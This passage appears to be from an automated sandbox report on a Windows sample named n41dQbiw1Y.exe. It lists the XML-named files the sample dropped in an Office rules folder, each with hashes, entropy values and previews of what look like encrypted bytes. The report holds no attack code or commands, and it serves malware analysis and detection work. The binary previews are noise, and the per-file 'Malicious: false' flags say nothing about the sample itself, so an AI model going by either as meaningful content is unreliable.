Preview:	<?xml_..3Tp...Ci..AXik....m.-...!..u.....~G.=....NT\b3.TU.>.#}\.'.q..j....q...R3....c&.A...Js....g......u...y.C.p.K...M.].z.c......l.R%....UX.'....6......S.5\.8..?yX".G....TG..KH.S.0._Z..I..n.z......-."........n.#.........v.U.o..0.@...C.@w2.-....s...J.WI.s.;.t."F."..4.......7.F....Kg......(...g3.x#\...`\..E...._../.2oX.fD+).v.0..@..E\|../...dC.....Z....t......!J.`..Z....`g..h.,.?.\..=:&..9..v....Fv/...........A UG....HsA..K.7.1....,.=uF....\....0..X0.x.a.4.1k..l.B......G.iWg_<E...............}.?)j.**.$..`.. .5.....^){..kT4......k...r.:=...MMyO.H.k.hU.g..?.m.J4I.S.tT.p.@a<...P;.p.q...&..........A..i.$.....^T;....4A.i4K'.\|..N....>.A..$..7................kW.........i....E.....f:.&.mpwk........r...g.s.:K...U~.=...2...I.\|.....y.)S..h.&v...[..Z.d..9s..;3....Q.[V...B.......0.=)pr~.x....E.S.....x..>.4.t...d-....j.S{i.r\|.^...wr..$.>.>.g=.".HC.....<;x.n..............7H.[....3..../I..,&c..}..?.G..-.. p...a..)T.J}...7]XG.gOW..d..csS>>F.O..H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.974498684625414
Encrypted:	false
SSDEEP:	192:FgvkNjo1TNE3Kup0mztv5SBOLtIg0yV59WyMgu:FcMo5K08V5oyjYDgu
MD5:	6E5096E529D58C57F2FFB63892C66098
SHA1:	71CFE3647FC7843B8E5A1301672E9918D9D516D8
SHA-256:	6A5FA5FB318A8B549BD2E752BBA795AD595D1308AEA52808F120D3BF160438FF
SHA-512:	BF25640DC515877759F33BCA4C4BDCC59459F22E4913ED61B48B13D8C3119DD3DAB201AD60B9E03146DB67DA0A3C4597B2767A7AF986E4D6F4F33E1B2E9DB6D8
Malicious:	false
Preview:	<?xml.NP.i.......N..e.<......./y.. ..FD.H..C..3.x?1...!t..)'}.....>.!.Mg`.B...e....u...vi...)b...6;ZH.+..w....%....I...XI...........f..........4..&..:E...8W&9.G..y....0....&.Z.<..^@%.-(.Cs.3~_....].k.W.j.$~.}X.. ^..T.T..U.....=....2....xmu.e...X.}..M.a.$.....}B....5.+....b.....!..}....a.MJ.R.E.....c.aV..].....B..~..kw..p'..g)J.....0Vw..9_...q.........Q......Y.-?.].....\.b>.I.........m.3....7..n.#.$S.".w.t.d]q.y..H:;...(.Q2[..b...)3..a....r.#.7.M.4.eG.:..kH...p~9...:h.Rz...H..~....nEi".*.K....h.....LB.m.s.Uhr?.Z..K....r.0.Q..L.sN......o.nY.`.......2%..D..>m.f.<[wE...P.W.....4..M...4....8..o......S..s...8.M...^..7;...w.....Mx.........R.?.}...q.U..J..O&)6....^{h.6.._>.k..M....o.s..r.....ON.........&r.o.V.+...=Y...B.....Y3....3.].T.....m.1..=d...D..".n.....;:.S..g.X.[.Xz........}......CWC.Y..B..../.d...'..+..Y.."X.4.%........m.T..#........o..ex.......o..9...]=p.............O._;.n..`.......x......T....5.-M.]....\|.."9.....Q...._.....C......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.856921811136189
Encrypted:	false
SSDEEP:	48:QyvFz0kxrw0FJwZKxGD9FMnvuWqYin4r1D6LcjCgAD:pvpaIxGQuos
MD5:	296944D4388956A19A1B61F376C6AD74
SHA1:	90D5A56984D6F283BA365BDA97ED34FF343C76F6
SHA-256:	3A00ACB5353227AD20A605D7E1D5DC85F5843165B5A7E16EA0AA81A246732F80
SHA-512:	23983EECD68DC61EA67B038F771E7FED1587BA1DA48B632A8784985AFEBD37B5B7C39008F240C11E9F2E659F29388F04955FBEC2B8F186336D9EC748513BB8D4
Malicious:	false
Preview:	<?xml.C.k..&.8.U.)\|..O1.L.p...mjf......L....NV.....H....1V.{8v6=A.../.P>N.p...:.c.'..E..`>..0,.\...u.yg.wFGI..Ee..7....8.Y{.R.V..`.L.....M..=.S...3..w..%k9hg......e.i...bn..~...e.u.;P.l.C...I...1......h.....<%.7.2.P.......:...\|'......G>......I..rOU$.f....&L.W.}...9>.b......Z..f.q3o.f.P.....Bs.....y...u.$........`B.."..V..\eK.Aj%\....4.^.I."a{{~.v.a\|m.c..d`...4...r.$..&8. ..HL.... .".....O.N"T..F..\|.....Q(..4J..Y...:)&.+.d......F...8....F>R..qvp..\|.s$wq6-B..-.\..a......%.%..P...9.....l;."n.7..".._.....)..~.~R..>.[R...64..c.W'x..fv......i..&1r......Gs..Uh..lT.x ..V.J.Q........;D.5.........G...T.D.\..9..D8HU.U.yTP.E..7..d.W8(\........8X..........O.47..4!.t.=.U...I0 ..y_."..al.`..le....?&.ft.e.C..VQ.......u.p........k.>\|.b.9........[.E.u......E..E..+..a.(..p.t.Mx....jV.I.LL.d.)\).m..V.-r.W<.U..-)...=..F..Dl...`5\.;..3..h..F...../...]f7..^E....mu.5.#..:..%.....%w!E....fQ.aJ!ne.=.D.o...$......@.N.)..E...T..\..Q..NQw.^._#.....L....H&....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.889070170403198
Encrypted:	false
SSDEEP:	48:sJz0lIPWSkmjdgoX3Mni4tQmj0nMNSHuz1G/Eu4D:sZ0lIPWnKqIlbmjYFHsM/Euk
MD5:	6C9D0E13C5645823257AA7399CF865F4
SHA1:	707A457D1B96E961677FCEEBFE6A95BED66B390E
SHA-256:	26EA1F5BAE828435D77EA192FD8BF5313E9C963E0D86C082AC902A7FE7CDD74B
SHA-512:	9FDA36EA4AE7509DA3815FDB79835F2DCF94F2DB33EB5FF00BA71FC8A4A9D8FA3D49D26CE7D2B6529856C3B60EF707422E2856026D75FFD2F37ECA61605C3966
Malicious:	false
Preview:	<?xml,.r...DJ.&U....c...&..\|..f..m#..rA....f..?...k..L,.]..%-..N^..fq_.G......v^.;.u.-@.j)6....Nh8b#.4.i.=r....s.V/.\|d..Y..CQc.?e0...B^..I.Vo.U5...m.:EJ!.Y.Z.MM;k.;Q3o].=...K"."o...t.W=..V.>.6....z....e...O.f.X....X.(.....L.......o.y.....d..n.!.^.o..Gk..m.3\|.....z?.....q.Ai.,..n.,.G...S..+.....\.P0#....y.<(^.=Y..L4..o....H.]...q......C....n.){..2.<Q..r..Z...6.n6.i/.......g1l]5m..b...?"y.7Z.f@........g.M.7...Y..hD.~.2..~.. C..2....j...#x.7..-.....I.Nf...+G<.HK.e=K..g..).`>..#.....f..\..w{@.j......&........dT..=..U....\|.6.?x.X..$..._c........Jc&.R...\+.sH^U.;..@.3..eS.........Ls....1...{..#[..:xk.])AZ..._..L6*P.Z[t.t6....s-b.WUs......\|.@...,<7....\U.0j.E..$v.3......d.I....-?.s..?..xv.....(S.y.4......D.....E.#....!zT..<J/M.`..k..!....D...'..<..~i...s.AHn}3..\|X.[(.K..F.....+..a.........\...1n~.z...V.q.>Vn.C.M.J.E.X!e.~y!../T...97..._.2.j.T..v..c.O..[."...V3..v.1E..E...p..n.&.[.R.BC~.i".V....$.!0.....J..Yo.Yw>KYPL$....y"...UxX....I.^..Pgg.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.879683579873021
Encrypted:	false
SSDEEP:	48:HWcfrrg5FGRSIPVgzedg07SWZQK3UDmT49p8useQaD:rXg5FaSmVgadgsNQKkM4xset
MD5:	45AD329ED24C8629F9E6DCD85431BFDA
SHA1:	9CD4C6EE4192EBC7CF52E0142AF8F4B4ED848860
SHA-256:	AC5B14834F0EFF25433E63D37E72C4D9B08D8C8103B1316E7D530B04919860F1
SHA-512:	491CF92725AA077F0E80BEA6A5A0FD4FEDB0FCCE3CB3AA7DCDE1527E4335838763719E6C0CE864EFF904DD3538355F233840AC8822DC195A4F76E7B37F7E11A5
Malicious:	false
Preview:	<?xml.I...\|(z>...Y.?.-)9&..h].-r.S.Y.X2....6.F.........DB#}'.V\|.q.....nLH..u.\...tH...+....w0."'...\%..'.....S=..s.W..k.~.'f......&..5..F'h^...../..Ri.N...k;[XDm%..kd...`X....1Yk...T..C........vv..X=.<.Xi...K@._.{..&.H......u.i.....9.(.-..D.P.....v].H..(.)...y.DJ....c.=.w..i..2..b.^.H;...S..Yrx....q.:..TS.....\|0.._...jE.&..;.D:>z...kt..J{.....UM..M5G.".R4....Jx6m....@......O..W.Dt.%.(g....s7.K...2....,D..6.......@...`...7....v...CO....F..]..Q.[......:d..\{.5....v.....$.>..4..Y7..^.7.."...PZ.K.+. .B...)H:;.Ug........'.^.2.!....q.......!;..+.E...E..M..WO..u......].t..O{..1.-F........_SE.......J9j5t.."...'....r.......J...jl}.zk...L.f3l.....j....X.'._...I.[R..k~o..........[C....[.5....i.......]Y!...^l. .E....(....v[.G.X...l8..;....b.l..c.m..+?......."y...~f.........g....-..\|.9A.E..%.Y...{~. ....j.......Y.A.4z_.&=.#.........=i...o..i.......*d.:v+..Mu(0m...[.A......1K,...{G.v.<.......t.qD...9...G.G.U..Y.M.}....6....z<.+.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.866054557533647
Encrypted:	false
SSDEEP:	24:YqEQ5MtYWCQVECPJAz+qap1h1NnXtkiQ7twf2NWGcmkJ2YAEsSuf6kH/tKKgC9bD:PUP2EmjaTNtKpwf2MGaPHu6S1PgKD
MD5:	9E7FB6ECF92074F4B43E6DD5B9280D8C
SHA1:	CD4E0008354DF0141D46FB5C324CBC653A6C199A
SHA-256:	467DA036CA90331E6EA5657E1FCFCB934BB4464C9B963797AD4505FE784633BB
SHA-512:	B063C7F6BD26762ED35F3B7F4C20AA7528737BD9A5BF7E76A1372B68E6DC2B4925320BFC5EB6678807E639B58F1B247FEE77EE00C3445266CF68D6723C8AD626
Malicious:	false
Preview:	<?xml...N...:gu7...$......J.a".......=.kr...r..$xI. ..x....B..sk.....R.Z...SW.g.cW.j..5=EzTIo>...%.X..X.e...&.......C.).^'.O......~....e.....(...&..L._....Ni....O.k.N5P,.S.uv%.0.V..._..z.....s'n..bs.G.8...h...R....!....G.D~_.. ...m\.:..QEg..#e......0..Mygv`.[....`......~.Q\|....y_Xk.;..}......M......"E.y........".Trl.F...~.G...Pf.f_.u}...e.\|#Hv....##..3.?b.....:M.O.B...Dh.5...HM..1...Y.H......s.[....l.Z...HpPP..Dcb6..RO.r.F......O......T..$.....u.B..+..%`.J....Y&.4.a.I...5.{..\|..........2....Y.~.}M._.Ut.=.._....\|J...@..x...zm.,..Z..p)...^.D....q.q4k..+NHh...v.B........rj../....V.(.....ml.....K.Afia04.q.....r..{.X..]G9..[..,X..a....b..A..)\V..?!...,.!.sT........Q5&r..m.....s.C(....Q..H....$...w./..sp.d.@.Z.d.k../.2Q.[QlX.wdvKV...r.L.qS..t../..u....w.>..........4..2...D>`Yp.i..D.}.go..On....Li.=...!..M...A.v.mN..hH.&bK`.l..Z.....f\|..{.....a.h3..P.\|fp.MfR.Hv'b.. v.^6."M..g......0.g>d.q.t...cCp...q}:._. .....w.g.R..+y1...so.CI!z..H...o.D......G....I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.854354642901246
Encrypted:	false
SSDEEP:	24:b2uDLGRz+5jJWBY3G27ILEolhjJ8YRf1dG/jrkxkQ7vjyKN+mSVvZqj+ZDtA35f8:6YLmzYIY3svl/dPxkMLSVgat5L9D
MD5:	8323864A0AF3E7045A9291678743AF5E
SHA1:	6882D906B3A9B4D6655DD76DFE71F13C2208A596
SHA-256:	A30A10DD28CADE9A8B9F8396B83839008F1F4D74A5D9D827C26641604177C38B
SHA-512:	3ADBB01B7037B384A5FA5C5276F420433DE92D6D0F6377F7371570EFEEC78DA9DA59B562C2F62924DF9D5A89756771E3BECA8B280255243AC9DC6F93231D930F
Malicious:	false
Preview:	<?xml...)p).....=..V.IZz=...+R^..p..qgq?..yW..s.2 .~..?...uk]59..<X]........-.......gr.]2y6.....1.Kk\|-..&.#...nyAm"...2a...O..].....5....z<.\..v......;E..q..... ._r...~.......X.J..K..oO.^.....3......S.> x............".....x.hRg0.6r......`.....)8....E.T.u.....?...i.......P..\./.I..>J"+:.....i......0..9.Lz..N.IN...c.#..'..._m.i.g.P?..G......".L..J......>.....T#...J.~.P.j[.4..N....t6o_.._uR..C....Y"c............=\ 9.%..@.#.R....L.h..)$.).b...T..h..,j...._.2....S)...../.NU<..E.'QP..f.H{......M^.Yk..\|..2.C<..!+...\6..&o.$d.d9.:I..B6$.tlK.W..[.YF.-.1.U4t.Gv.,gA,..i%6?..$..q;V'O.....E..~....\|i.s_..N.^g...e.]...jB..g...s.S.M...;.^...]pR.........5~ .....x.K....P&i..].J$%...E..Ex...?>.........#f.....!...O.J^=C..c.......0.1k.@K!.%.\|~....gm...t..1y..,..?..W.95&.:..fD5..7.s..!..9.v+_oS.CU.J)....o.aK!..W.#.7u.b...N..t...q...._@.<......9.....SX=..]X.Y..D.IE,.18.4...p...(C.t.u.ha......h..Q.I..i.....!.?..8.....6.a..:n.....:........y...P..........A.Q..Z2.o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.888528717940501
Encrypted:	false
SSDEEP:	48:+2BOm0gVB+TMX/F0WSrdKnxPh3vYPc4HUwZRl1bcID:x90mcTmF09dKxq0O11l
MD5:	99D533E8369D762E8C858B7944D173CF
SHA1:	D15BD6562033AE03FE1BA255578F0B72C73044B9
SHA-256:	28714850ADD0A803EDD4ABFD74BCEF6875A8D57FE64B1118968E64582A9CC522
SHA-512:	F8C51B2314D11B1B2D40BE04E3BDFC4F536697162C79985C31BC6834CF0447A610471901DBB15A782C0F8987D43E713AA37E60FCEDC44F8D3663ABA66DA6D10C
Malicious:	false
Preview:	<?xml.dE.......Yu?}..&v..j....v.....;..W....eu.Pj.J.#..l.....",AV.^..9.;.....!....Ab..rh.{.....!.."8..9...5_..v1..'..'....m.Hwb.U9....X.Tjk..R..u..9.(.V].#.5.......G1..p......g..k..;......H1"..xoP....l.kp;..j@!._....(..gF.(....W\|5........:..:.......j.......\s...'\|.......l.\.B...+Pqh.?..!R.}...........g..p{Xr...o>..H#.L(....#.\!y......o9.]..r'0....{.....B.\.ED.. Y...z..N.......Z5.E..-...s..L]..I...w...b..x.z`..}(/.5n...8vI...T.....B...j....'Y..'.o.aK>t.C..)tz..y...S.U ..>.z..#......o.g...[F...Q}@.........#......{..I.73..0.. ..Q5..".:..U7i.'V...f..x..t.f./.....R....'.d.;...fp>U.U._......i]...-....:~....`.A..t'.@u....L..-]T.....{...Y_.....v.2.8...+...;w...~.uH-........0...Q.9......).c..B.;Q2..i?.M...N.0.....c.D.]x[.. ..0..D...RP.4]Nf.SW.^.\|...#..s..m.4....HD..2.q.Q.\!<.[&....!F6/.N\...3..K.O......q..bx1.V.lAWA.0`h.J..\}......y.+T8#..........p.UK...(..j.7Wzm\...!..).O5...#.!d.+Zk..P..Pq....d.qGE..>Q....<...:f.. ....}.Oa..;\=.m.......%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.736305219269662
Encrypted:	false
SSDEEP:	24:kAeMaMgfHWdl63setFaOeRcpSTbgV9aCuJWtKbjRqbD:k6EfHWL63setJeBnkuOKhID
MD5:	9310D997085844B6CEF12AA07073BF2A
SHA1:	DC6AEC810FBACFC145466DD5E438318306F82C02
SHA-256:	15BC5D7111AFB7A7194DE1A85D3F907E67AEF94F18295F1EA5FA6B8109A2B2F6
SHA-512:	357C895A028F66BE76B445F71CA6BB1708E33C58431B167BBBFF00DE4C2242232CD216E018880DE231805CE1C7725E7C72A26DDA1A9F2D3B0C6EF32BD425C7FF
Malicious:	false
Preview:	<?xmlgl..>....GX.2...Yw;.+...g$.n.r...Rq.Z.J....g...J....P..Z..n..>.t..:]Pk(..f=4...Nw...)g...t..{..S.]..`j...\v.......r...(.....p.....V..@H.d..b....G....a...w..........Pz.........}....GX.rX..3O\|.@.1_..../...J..e.d..~".).4.#...nK,...m...2. /.eK... ....an@\~...7$6.R.R(...D...j.W..B....d....?`...=J...8...^Rq.^!..xg.....zc..H.\.d.d5..mh..3$...ip.^q....4.{.rQ...\|...6..g..]...X.2....I..v..H[..qn(.a..^..::.Y...!Q..... P~.r.z.j.z..)...B.p.3.....8.....Gc<!.e..2.A.)...xz..\|...yx..1n..^....(......Ni.j..&.....@.......G...z...$>.........._N.o.^.R.sxo:.w.llN.`fh?.-@ W.\@.rh.;.8oz.U[...Xm...3.....p..ZHi..[9*v....a....>....I.f}.W.BzM...]...W..VJ.....AH....S.....\Q/...w...U4..~..Q..{......!....L....S9....R./W'...o.S.:...C..q.h.x.. .j.g.'...c3.y!z.>X._..?.[....:_{f.^..Gu.^..)V.f.Y.U..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.949435564617651
Encrypted:	false
SSDEEP:	96:MVopgV3lOTL8F8aW4MqPZGfO0Ke3UVswpx8v4XGR4p:WopI3wv8FZMq8fO0b3Kpx82j
MD5:	9158FDC6CB094303EC4F47848CAC908F
SHA1:	A7DAC589FB91E4443D82F110D82B6E717324F012
SHA-256:	030338F887587FBD3852FEC04C6C46E8CD48D883A616A4E2B7EFAC9979481593
SHA-512:	CECB60DEA1919E89BE0D707BA48FF039692DE3E74EA13EBBD84A60FB8347547CC00260ED7FBCEF37B43C547D4A9C572B14480D6CFEAC10F5CDD2FF650FB6A2EC
Malicious:	false
Preview:	<?xml....M 5.m....<C..X.O..5b...`T.3\|..)..8. ...4~.S:.R....w......%...DfK.......d.y/..1..]#.......a..C..NS.\.v.V.b<.i.L.}....l.....z..@(..W.........b?.;.!y7.<U.....q.'....~.[....../E.h...F:...;.!=.3....F3..i..af(A..T K..".\|]uA...#w)O.D...+.PL...3.Zh`...iZ.k.q...>.+.U..).H4o..m........>.........TQ....2..&..bt....^.!uY....d.;.....LB..ZV.W.m.kP.5..sT..R......EH..b.2.<........V.v..4...=..M.R^..h.&......P6.G...6Kue.D...>.`].t....z.......0..Z+B.0...........4....k4+1n.2.nR'.$.....+........j"m.S.!P.2...D).c.<....g6U..........i5Y..m.....W..<...2..1.m.7..2...7...&...6.,....r.....L..C"...........\|.....H..W...=c.j.]......?...H..k...F......?......D.s...b..g..u".i.vg\k3{.LQ...Z.yn.`...q.......!0.kT.s:..$...j..\...g.."s....A.v]F.s$.b] .5(..1.................. HM.F3*%...W.kD... G.\=j..L.W..[..%.u...(.B..Yk.w...k.\m...}.....W4^:D..>.,.`......>Jr.."(.........lB...c...)..k....s..w0.q.....u."...lm..q]....is4.g..\Wz)....:9E.6.e'..x,.t.["..3^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.950695524091336
Encrypted:	false
SSDEEP:	96:TKcICgvRth5jWPMuIQiZCI6SHs7R9+U+wONs4NMg3:TsRdCPMFv36KsFbzONsgJ
MD5:	5F17C1F183787B831FBCE452694E2B18
SHA1:	BDC75FD8FDE432C2E69BEFD250DD5641A2EC5A8F
SHA-256:	E20C93AB6CBFFFAA5E3EC098DD84EFCC8CE5CCC391AF82B6B526F3191E0C0DDB
SHA-512:	B9F9A1746091E28240B200A416FE5A922FF8155B61484599A1493D799A3153BA9231FA04877717E5558C251BFEE27F98353D6EF53FEF6F68DA737251A741BAA6
Malicious:	false
Preview:	<?xml..Q.Dn.J....Yj..i.......k.WAB07.vW3)...y3d.Fl.7.O5...ix... ...s....l.fs....=.....apy.%.N....Q..:.p.,.]...2.._....`.~..Sc ...k.......8sT.G..tz+.o<6..._.$Nk.....s..J..6.Wc)../gr#P.q.'..gL.7e.j,S qKF......P\.....1{...z.]......7f...O.6.o\.....m6.]S\..E\|...v.{....W.$.w..i..w..x.....)M.............Z1..1y.RQ....6.1.AV..XU.pw...o,s2..U.Ym.y...l.SK...>..]...=of.;p...%.>6n.[f.m.}.D!....."....sB.d].s7..-......v}"x4.P.$]b...n..}....:{\"V[.........%.e~t8.<QF.w...\|..:.,..^d.;.i..:!.T~AL.$6r.._.W.y.L.)...0}J...HAT"s.0.8..W.d.'..nP...j.y..kE$.K.J8Uh.....X...1..^...KB].....eU..9.='..+jC.T.....w...y.X..hL.. ....x.T.........a?LDz......+\}.....D...7)..._@.cC0.V..N[.-r.w....i.8qw...d.9.'8YY....T....kx...K.....k,........H.wr../.......pa...p..KG.....!../y6....^Y.]E..q.#.....m......J.?.E.K...t&...m..7X...N..Q.>.I.$i.....C....-.2..x.....hT......z....P.8{l.-p_..eZ3P.._..x.........v[..[....r..... ....D.L..f.~......2U.n...._e..`.RN.Y... .,._8../k.B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.787229988436433
Encrypted:	false
SSDEEP:	12:Xms5XUhf4bL6V5/wY67mD0VK2QnWBD9c5eoeh3NU2T/3KNLOgJ76fV0k2CH+aaiT:WwXn6YY6CfPns6sd62LK3J7aoaailFbD
MD5:	449CA5235D0F6251A9F6C39E04E26DD8
SHA1:	82132D8BEC7BF3567292B21FF93966C0F46DFDA0
SHA-256:	760B8917588AEF839A328B0ADFD0430A933D93DC033D205D002003258CB461BB
SHA-512:	EFC12DC07F7083F99CBA6DBB234DB5D040B73F3484B325529D0C6F9827C6E45F6D6FC1740983D4BDB45E65AFC4FDCAF103F341027C123003E7807E88AE7BD541
Malicious:	false
Preview:	<?xml@.Q...O....[.[.'I....../I.........7..g(.......m....=.....%.`........)C.<....m..sfq.o.@.+cG.Q....u.g..j,A....LIp....5..>...c.G..S.gS.....v.Z.f.G..\|...5.,...d.&2...tn...~..4.Mh.`......>\rSd.Q.%2.......I...x..w.s.g...x.0..Is;E_+.:...5.t).$...30.-..].....C:....W.<l...b\.H.9Se.&C2.]...A.q5.<.W...M\|o.o.%(0]......M.I....+L.>..P..AI.r..1..Dp...Y..+.3<cLyO...]u.........}.3..{..BE.E\|..q.........?..f.W.`+.B.Y.K.e.b.WG....LA...+..5..1^..;............S4Y....R..M`xK.5.....l............T..7....?.....+vE.!.M7...J]......cSB...Z...T.........)..I...G0..Xh....vT#.5...K-.......].S....^...n.PI.,.....Nx.. ...CZkI...n.Ux88Y..H.".yu...#.ih4....C..Fg..&..W?...y.....@%....l....b.....t...{@............).e.G.y,...`w.....3...#..Vq.-..F...p.T....I.(...M.Q).k.n..i...H..T. ;...]...`.E...\|.O..j~...].fz.....D..S...........-M.;....iAPG.\|.IS.....V=".^.*....s.S....oua1.J.....@.gd.-..7.o.......A+,P...S....}.-8....{..S..;....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.869253052858528
Encrypted:	false
SSDEEP:	24:13Jsf61Ij0IXQbl9Pf84YGg1buZRoZJWZO4zyxP9yKKXhHt7WFv2TbD:9JsYIXyoG3ZReJWhexP9wHtSFvgD
MD5:	7CDE3584504F536E918D9F7F8B2DC059
SHA1:	3F498B3D3BF0F865B0B0D9084622E0E8387251C4
SHA-256:	DC606FDF6CCE291B0E6B24E1D307F85840AA138159C21CBE4A056EBC736BEAFD
SHA-512:	9F0209CC0991A753F151FDB34B29100D26065BAC48F265EBA221C37AA2149C9BC8784625F3913D583766B1FA66FC3D5CC2574A3BDC5B948C253436DFCD52946A
Malicious:	false
Preview:	<?xml#G1./1.h.h.+:...\.+"$s.$,...D...+....5..i..S:.{t.WYx..-.H.;.k.F...#..}%..ji.t..;E.Q....z3..u..0..r.Z......q.cf%..A%..,#q.t\|n...T....O$.FL..I...P...gt\.S...............l..8....&.......o....@Q...$.<.[..$.N..b....ty2.z....%...o......4...K.y.ui.;s..lo.'-C......._..2J.t:54 S.....p$..~..z.Tot.`..g{...\|..p..].d.V..~..;...Js.z....raxGN0a...{......H.Mg.F".~...l.\|".............pG.E......=-X.0..zal....2.j.P...._C..'.....'.z..."q....I.;9E..Ab..N.Z..v.....6.A.../....N..e......._Z..W..i...(........3.'..."..gCQ(.(..2..'......'...!@..:........,...!..?...nS..]..S$.6(#......U...\...6I.....Y..\"!!.....m..-.j..@..&k_....i....NW.Ao.....S..[~.F.].di...U.k.gD>.@.@..N6.%.......A.p..H..^+&.`..\|:...v...eq.~...<.f.z.AB.P..U.6...e..ZY.....+5f..\.:...+...s_?2MUmh~.wY...K...\|...GO.5..<,.[h u...o........./.B+..{$....l.K...k..?..q+.6'%.t6.....Q.]..........X.h....g.9.H.,.L...k(.._.E....v.q....{.....U.y..A...>.Q..O?........M.1H5y......PzzK....z.f9!..9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.869473846035303
Encrypted:	false
SSDEEP:	48:f2YKp+z6ANVGG/+dJAT0Ezhe/fiedRE6gYWzD:fCpCWd0VonEf
MD5:	1847ECBCD28622A83888D7F52E09E766
SHA1:	3CE8B4DA7EFA0129F447B05B8BD8585C4DBA4A73
SHA-256:	FE49094E691A314264C7B1A8FE0FC5BE068C58F630086943E797400253576016
SHA-512:	2397C1DE127B1C060EAB6F4AB3360B41852F661312FD4DB7814F383E318D57A76819D1C74F988B1328E4F3DE369ED9C6AD2B85C44053AC3B11B9ACD3147532CC
Malicious:	false
Preview:	.<?....\N..9?.D[.nEQ........s+...\..[.ce..k..v...(.......+..j.l.......'>.Wg....@1..o.......aL{E,\|n.....R.)f.....doW.:WK7szK..R9..).!..]?WlM...Q8..n...U....W.N....;..u.h..d...[.AY.. ...0.Oo..8..G.j...}.6.n.....IX......'.bC+.)7G.7.@L.T....wg.t..8...G...0...s.c....n.@...`f.....S..:xU.x........g............:..wj..A.....+9TR.....?x..}..X.3..8...{._.........XQ.j....w.._Z..u.r. ....W.....nEw ..i....rR.[4._.x.q.+....,.@..6iu$Ifa..\|..2....F..G_..T7.J...$.....z.2d.@y....%R_...m..y.3.4!..a..HBi..F=I...yZ.EZ~lI....L..z<..FK.J,G.........@.}r....`.-;*..}z.'#;.xIP...xm.I..q...;.....:..l\.......&..VU..k.....y...w.@.......%u.qJ.t..L..U....O.+......Xt.U..1.wi.z.9.r....?OT.9.$....C.R.......c^\|..n%....E..w......>.L .(.1m..N..8..4..5...S.&..Px......w........._....{2..+...y&.h..tA..$.%...LYo.XB......k.....~.....V...Q{Rk.ua....b}U.`7.F....`.S...en.....;f.cG..f...b....y.w.n....L.P..4.G.......m.QA.K.a..1..W.-..\3.]..12..b............H...s.<.'..hP...]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.77095372149787
Encrypted:	false
SSDEEP:	24:OVkGdm/wfAO0Dg/ElJSzEyZ/FutCa2AqUoiAjftbD:gdm/MAO5E6BZotCa2AqLiE1D
MD5:	F5EB9124EBAEDA8B0FCB50B4A0EF619A
SHA1:	0179150CCD533E51B293F3B81775E585385719EB
SHA-256:	8069735498AEFA47E8AC6FB260A25135D3FDC13A76025301BD238B7C878C4CC9
SHA-512:	445A3040C1B467875DCE5CEFAA94D5EA51D6CEFF61A53B7AC1DE5024AAA0B0C4333C3FBBBC390516C7484753BCC57B428209894F9DEA05C7A5C19A42425F2CC7
Malicious:	false
